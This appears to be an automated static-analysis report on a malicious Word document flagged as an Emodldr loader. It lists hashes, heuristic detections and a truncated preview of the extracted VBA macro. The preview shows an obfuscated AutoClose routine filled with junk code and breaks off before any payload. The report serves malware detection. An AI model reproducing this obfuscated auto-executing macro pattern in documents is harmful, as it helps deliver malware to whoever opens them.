Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 60236f08ff7d9870…

MALICIOUS

Office (OLE)

188.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 845d31bd7789d930eb52a1cfa19151eb SHA-1: dc92398ba8471225b4244bfbf89b53c8b17d132c SHA-256: 60236f08ff7d9870bcfdc763da719920233e01dca724c4623e018825ff90dfa0
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a legacy WordBasic AutoClose macro. This macro is designed to execute automatically when the document is closed, indicating an attempt to run arbitrary code. The ClamAV detection and heuristic firings strongly suggest malicious intent, likely to download and execute a secondary payload.

Heuristics 5

  • ClamAV: Doc.Malware.Emodldr-6703506-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-6703506-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 77366 bytes
SHA-256: 1902b7f7b54e5147e5ca03f7657fe6c4cd3b5f53b246e13f2b637f9639d44ff5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const VOjyRyaEnoJiGCyFusePiJYkEZY = 0
Sub AutoClose()
On Error Resume Next
Dim XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb(5)

If LenB("loaUgiQotOfrYsijeTuLgI") < 19134 Then
XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb(0) = VarType(Sqr(1913) + CInt("1913"))
End If
XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb(1) = LTrim("loaUgiQotOfrYsijeTuLgI") & "44"
XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb(2) = Day(19131913)

If Len("XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb") < Len("loaUgiQotOfrYsijeTuLgI") Then
XGeZUwoOPOPEqAPUJijimuFoNuhUHyJaWIzAlUb(3) = Weekday(19134)
End If
Dim ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz(5)

If LenB("QIMOvyfvYCE") < 33391 Then
Dim eQNeTUqUroMNIBArEjVAioN(5)

If LenB("wOFeTAjURecIVmohU") < 96483 Then
eQNeTUqUroMNIBArEjVAioN(0) = VarType(Sqr(9648) + CInt("9648"))
End If
eQNeTUqUroMNIBArEjVAioN(1) = LTrim("wOFeTAjURecIVmohU") & "33"
eQNeTUqUroMNIBArEjVAioN(2) = Day(96489648)

If Len("eQNeTUqUroMNIBArEjVAioN") < Len("wOFeTAjURecIVmohU") Then
eQNeTUqUroMNIBArEjVAioN(3) = Weekday(96483)
End If
Dim igekyPANUMIpiPasIBwukQOravuwECaZyRuFi(5)

If LenB("DAaYMUSOqesyqVOpAx") < 94117 Then
igekyPANUMIpiPasIBwukQOravuwECaZyRuFi(0) = VarType(Sqr(9411) + CInt("9411"))
End If
igekyPANUMIpiPasIBwukQOravuwECaZyRuFi(1) = LTrim("DAaYMUSOqesyqVOpAx") & "77"
igekyPANUMIpiPasIBwukQOravuwECaZyRuFi(2) = Day(94119411)

If Len("igekyPANUMIpiPasIBwukQOravuwECaZyRuFi") < Len("DAaYMUSOqesyqVOpAx") Then
igekyPANUMIpiPasIBwukQOravuwECaZyRuFi(3) = Weekday(94117)
End If
ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz(0) = VarType(Sqr(3339) + CInt("3339"))
End If
ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz(1) = LTrim("QIMOvyfvYCE") & "11"
ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz(2) = Day(33393339)
Dim bYbuVifYgYGuVETiKiJOrYgOiotASano(5)

If LenB("QuPinAxIkUdMYzuRuqo") < 66708 Then
bYbuVifYgYGuVETiKiJOrYgOiotASano(0) = VarType(Sqr(6670) + CInt("6670"))
End If
bYbuVifYgYGuVETiKiJOrYgOiotASano(1) = LTrim("QuPinAxIkUdMYzuRuqo") & "88"
bYbuVifYgYGuVETiKiJOrYgOiotASano(2) = Day(66706670)

If Len("bYbuVifYgYGuVETiKiJOrYgOiotASano") < Len("QuPinAxIkUdMYzuRuqo") Then
bYbuVifYgYGuVETiKiJOrYgOiotASano(3) = Weekday(66708)
End If

Dim QnUiaMVubofoGNUGMufAPEiESeVUgE(5)

If LenB("TEiYvytAHQizo") < 88497 Then
QnUiaMVubofoGNUGMufAPEiESeVUgE(0) = VarType(Sqr(8849) + CInt("8849"))
End If
QnUiaMVubofoGNUGMufAPEiESeVUgE(1) = LTrim("TEiYvytAHQizo") & "77"
QnUiaMVubofoGNUGMufAPEiESeVUgE(2) = Day(88498849)

If Len("QnUiaMVubofoGNUGMufAPEiESeVUgE") < Len("TEiYvytAHQizo") Then
QnUiaMVubofoGNUGMufAPEiESeVUgE(3) = Weekday(88497)
End If
Dim LumoFiCidiTIlYNOKGazYdYXAtaW(5)

If LenB("neGYPagEmIiOGahUDil") < 75141 Then
LumoFiCidiTIlYNOKGazYdYXAtaW(0) = VarType(Sqr(7514) + CInt("7514"))
End If
LumoFiCidiTIlYNOKGazYdYXAtaW(1) = LTrim("neGYPagEmIiOGahUDil") & "11"
LumoFiCidiTIlYNOKGazYdYXAtaW(2) = Day(75147514)

If Len("LumoFiCidiTIlYNOKGazYdYXAtaW") < Len("neGYPagEmIiOGahUDil") Then
LumoFiCidiTIlYNOKGazYdYXAtaW(3) = Weekday(75141)
End If
If Len("ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz") < Len("QIMOvyfvYCE") Then
Dim tuGIgatEkFuVuxASESiqONybeV(5)

If LenB("fydYSIYWyKIsunisaFO") < 62953 Then
tuGIgatEkFuVuxASESiqONybeV(0) = VarType(Sqr(6295) + CInt("6295"))
End If
tuGIgatEkFuVuxASESiqONybeV(1) = LTrim("fydYSIYWyKIsunisaFO") & "33"
tuGIgatEkFuVuxASESiqONybeV(2) = Day(62956295)

If Len("tuGIgatEkFuVuxASESiqONybeV") < Len("fydYSIYWyKIsunisaFO") Then
tuGIgatEkFuVuxASESiqONybeV(3) = Weekday(62953)
End If
ZIWyvySaJiorYcnalIStapydYdIBeWAJiSoHUSEiyz(3) = Weekday(33391)
Dim JAxUROFUtYMOfarICUFivAqIBapFaWunajoJ(5)

If LenB("PIlEHozAGSIqYJyweK") < 10819 Then
JAxUROFUtYMOfarICUFivAqIBapFaWunajoJ(0) = VarType(Sqr(1081) + CInt("1081"))
End If
JAxUROFUtYMOfarICUFivAqIBapFaWunajoJ(1) = LTrim("PIlEHozAGSIqYJyweK") & "99"
JAxUROFUtYM
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.